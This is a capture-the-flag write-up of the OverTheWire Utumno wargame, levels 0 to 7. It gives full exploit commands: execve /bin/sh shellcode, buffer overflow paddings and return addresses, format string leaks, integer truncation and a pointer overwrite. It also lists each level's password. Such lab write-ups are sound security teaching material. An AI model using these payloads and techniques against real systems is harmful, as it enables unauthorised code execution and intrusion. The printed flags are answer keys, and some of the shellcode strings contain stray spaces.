Overthewire Utumno Wargame
Contents
Description:
This is a regular wargame composed of 10 different levels. It’s slightly harder than the previous wargames in the same genre. Actually, it’s a lot harder than Leviathan and a bit harder than Behemoth so if you haven’t beaten those two you will probably want to do that first.
All the password are stored in /etc/utumno_pass/utumno[level]
.
Level 0
For utumno0
, we have no permission to read the file, it puts Read me! :P
when we execute it.
We need to use Function Hooking
. First of all, we create our own puts()
function.
|
|
When puts()
is accessed, we will add “Hooked” in front of the message.
And we use gcc -m32 -fPIC -c hookputs.c
and ld -shared -m elf_i386 -o hookputs.so hookputs.o -ldl
to create our hookputs.so
. Later, when we execute LD_PRELOAD="./hookputs.so" /utumno/utumno0
, we get the following result.
We successfully create our own puts()
function. Next, we can try to use format string vulnerability to see the information on the stack.
|
|
The result is as follows.
We can see that there may be something between address 0x08048402 and 0x080484a5, so we try to see what those address contain.
|
|
And we can see Password: aathaeyiew
, which is our flag.
Level 0 -> Level 1
When we decompile the program, we can see that it opens the directory we provide in argv[1]
, and see if there is a filename starts with sh_
. Once matched, it would run the its filename except the part sh_
.
What we can do is to make a file called sh_[shellcode]
, and [shellcode]
contains our shellcode. However, we cannot use /bin/sh
because /
is not allowed when we named a file.
By modifying the shellcode, we can solve this problem. We execute ln -s /bin/sh mysh
to create symbolic link of /bin/sh
named mysh
, and we make our shellcode to execute mysh
. We can create file with touch $(python -c 'print("sh_"+"\x31\xc0\x50\x68\x6d\x79\x73\x68\x89\xe3\x89 \xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")')
and we can get the shell by executing /utumno/utumno1 /tmp/l3o
.
The flag is ceewaceiph
.
Level 1 -> Level 2
If we decompile the program, we can get pseudocode as follows.
|
|
What we are going to do is execute the program with argc = 0
and we can put our shellcode in argv[10], using strcpy()
and buffer
to overflow the return address. That is, eip
will be controlled by us, and execute our shellcode.
We can do it with execve
. By testing, we need 16 bytes paddings to make buffer overflow successful. The following code gives us argc = 0
and paddings with address to our shellcode.
The position of those A
s needs to be tested again and again from the beginning of envp[]
in gdb to overflow in argv[]
.
|
|
After gcc -m32 pwn.c -o pwn
and execute pwn
, we can get the flag zuudafiine
.
Level 2 -> Level 3
If we decompile the program, we can get pseudocode as follows.
The first getchar()
controls the position of array a
, and the second getchar()
will get the value and store in array a
. What we can do is to put our shellcode in the environment variable, and turn the return address to that variable.
Let’s say we want to return to 0x42424242
. The return address is at a[40] ~ a[43], when i = 0, we can simply use 0x28
in first getchar()
, but when i = 1, the input will do xor with i * 0x03
. We should input 0x2a
to get 0x29
because 0x2a ^ 0x03 = 0x29
.
Finally, after the address is set, we need to make i
larger than 23
, i
is at a[28], and it would be i = 4
when the address is set. We need 0x10 ^ 4 * 0x03
to get 0x1c
. If we give i = 41
, the final command will be python -c 'print("\x28\x42\x2a\x42\x2c\x42\x22\x42\x10\x41")' | ./utumno3
, and it really returns to 0x42424242
in gdb.
We use export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")')
to set our environment variable, and find it in 0xffffdf03
.
The command will be (python -c 'print("\x28\x03\x2a\xdf\x2c\xff\x22\xff\x10\x41")';cat ) | /utumno/utumno3
, and we can get the shell and the flag oogieleoga
.
Level 3 -> Level 4
If we decompile the program, we can get its pseudocode.
|
|
At first, it seems there is no way to create buffer overflow. However, if we look carefully, we can see that it uses (ushort)val
to compared with 63
.
In ushort
, its range starts from 0
to 65535
. If we assign val
to 65536
, (ushort)val
will be 0
.
Using this concept, we assign argv[1] to 65536
, and get that we need 65286 bytes paddings to modify return address.
We put our shellcode in those paddings and make the return address to our shellcode address 0xfffe580a
with ./utumno4 65536 $(python -c 'print("A"*32579+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31 \xc0\x40\xcd\x80"+"A"*32579+"\x0a\x58\xfe\xff")')
. Finally, we can get the shell and the flag woucaejiek
.
Level 4 -> Level 5
If we decompile the program, we can get its pseudocode.
|
|
|
|
It looks very similar to Level 1 -> Level 2
. So first, we can use the same technique to find how envp[]
can overflow to argv[10]
, and we find that it can easily work.
|
|
Next, in function hihi()
, there is strcpy()
and strncpy()
witch accept length larger that the size of array. Luckily, we only need 16 bytes paddings to modify the return address.
So, again, we put our shellcode in envp[]
and substitute the return address with the address of our shellcode 0xffffdf9a
, and we can get the shell and the flag eiluquieth
.
|
|
Level 5 -> Level 6
If we decompile the program, we can get its pseudocode.
|
|
a
is a struct contains char* p
and int table[10]
.
At first, I want to use b.table[pos] = uVar1;
to modify eip
with buffer overflow. But later I realize that it is impossible because pos
cannot be larger than 10, and we need a lot more bytes to make buffer overflow succeed.
I found that the address of b.table
is at ebp - 0x30
, and b.p
is at ebp - 0x34
. That is, if we make pos = -1
, we can modify the content of b.p
, which points to the space for copying argv[3]
. If we turn the address into the return address, and argv[3]
contains the address of shellcode, then we can copy the address of shellcode into the return address. We can get the shell and the flag !!!
As usual, we execute export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd x80")')
to put our shellcode in the environment variable. In gdb, we found that the address of the return address is 0xffffd64c
, and the environment variable SC
is at 0xffffdf03
.
So, the command will be ./utumno6 -1 ffffd64c $(python -c ‘print("\x03\xdf\xff\xff")')
, and we can get the shell and the flag totiquegae
.
Level 6 -> Level 7
If we decompile the program, we get pseudocode as follows.
|
|
|
|
There is the strcpy()
function, so I tried to do buffer overflow. However, there is a segmentation fault when we have 140 bytes paddings. After analysis, we found that from 141 to 144 bytes, which is the bytes after our paddings, contain the address for ebp
due to the function setjump()
, and the return address will be that address plus 4. For example, after strcpy()
finished, if the stack is like AAAA .... AAAA ffffd51c
, then ebp
will return to ffffd51c
and the return address will be stored in ffffd520
.
What we can do is to put our shellcode in paddings and make ebp
back to the address of our paddings. We make eip
return to our shellcode, and we can get the shell and the flag.
We execute ./utumno7 $(python -c 'print("A"*4+"\x44\xd5\xff\xff"+"\x90"*100+"\x31\xc0\x50\x68 \x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2 \xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"C"*4+"\x3c\xd5\xff\xff")')
to get the shell. The start of buf
is 0xffffd53c
, so after ebp
comes to that place, the return address will become 0xffffd544
, which is stored in 0xffffd540
. And 0xffffd544
is the address of our shellcode.
And we can get the flag jaeyeetiav
.
Level 7 -> Level 8
Hell Yeah! You did it!
One level of this game is still work in progress, so be sure to check back later.
Author L3o
LastMod 2019-11-17